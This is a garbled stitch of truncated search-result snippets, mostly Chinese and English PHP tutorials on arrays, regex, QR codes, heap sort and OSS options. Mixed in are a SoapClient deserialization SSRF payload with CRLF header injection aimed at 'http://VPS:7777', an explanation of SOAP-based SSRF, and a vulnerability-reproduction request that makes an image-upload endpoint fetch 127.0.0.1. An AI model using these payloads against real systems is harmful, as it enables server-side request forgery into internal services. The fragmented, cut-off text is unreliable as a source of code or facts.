php$url= "http://koonk.com";$check= checkvalidURL($url);echo$check;//if returns 1 then URL is valid.?> 6. 生成二维码 functionqr_code($data,$type= "TXT",$size='150',$ec='L',$margin='0') {$types=array("URL" =--> "http://", "TEL" => "TEL:", "TXT"=>"", "EMAI...
1) count(): The count() function is used to return the number of elements present in an array. It is particularly useful when you need to determine the size or length of an array. For example: “$numbers = array(1, 2, 3, 4, 5); $count = count($numbers);” In the above...
<?php $target = 'http://VPS:7777'; $post_data = 'qwq=1'; $headers = array('X-Forwarded-For: 127.0.0.1'); $a = new SoapClient(null,array('location' => $target,'user_agent'=>'qwq^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length:...
PHP code to check if an array is empty or not <?php// array declaration$array1=array("hello","world");$array2=array();//checking whether arrays are empty or notif(empty($array1)){echo"array1 is empty";}else{echo"array1 is not empty";}if(empty($array2)){echo"array2 is empty...
intpreg_match|preg_match_all(string$pattern,string$subject[,array&$matches[,int$flags=0[,int$offset=0]]] ) 搜索subject与pattern给定的正则表达式的一个匹配. pattern:要搜索的模式,字符串类型。 subject :输入字符串。 matches:如果提供了参数matches,它将被填充为搜索结果。matches[0]将包含完整模式匹配...
//array_pop也可以用这个代替//重新调整堆顶$heapArr=$this->_adjustHeapArray($heapArr);}return$arrRes;}//根据一维数组构造二叉堆privatefunction_getHeapArray(array$arr=array()){if(empty($arr)){return$arr;}$heapArr=array();$arrLength=count($arr);for($i=0;$i<$arrLength;$i++){$heap...
public SoapClient::SoapClient ( mixed $wsdl [, array $options ] ) 第一个参数是用来指明是否是wsdl模式,如果为null,那就是非wsdl模式,反序列化的时候会对第二个参数指明的url进行soap请求。 用Soap进行SSRF也有两个需要注意的点: Soap不是默认开启的,需要手动开启 需要触发__call方法才能进行SSRF SOAP =...
"Case" => "select description from film where title ='ACADEMY DINOSAUR' GROUP BY length-language_id;" "Position" => 0 ] 4 => array:6 [ "Item" => "ERR.000" "Severity" => "L8" "Summary" => "No available MySQL environment, build-in sql parse failed: line 1 column 61 near "...
构造一下数据包,其中file要求array的形式file[tmp_name]=1。 这里发送请求之后提示500,但是服务器的请求已经发送了。 2.漏洞复现 POST/api/Image/curl_upload_imageHTTP/1.1Host:nbnbk:8888Connection:closeContent-Type:application/x-www-form-urlencodedContent-Length:68url=http://127.0.0.1:8088&file[tmp_nam...
// 指定x-oss-forbid-overwrite为false时,表示允许覆盖同名Object。// 指定x-oss-forbid-overwrite为true时,表示禁止覆盖同名Object,如果同名Object已存在,则报错FileAlreadyExists。$options=array(OssClient::OSS_HEADERS=>array('x-oss-forbid-overwrite'=>'true'),...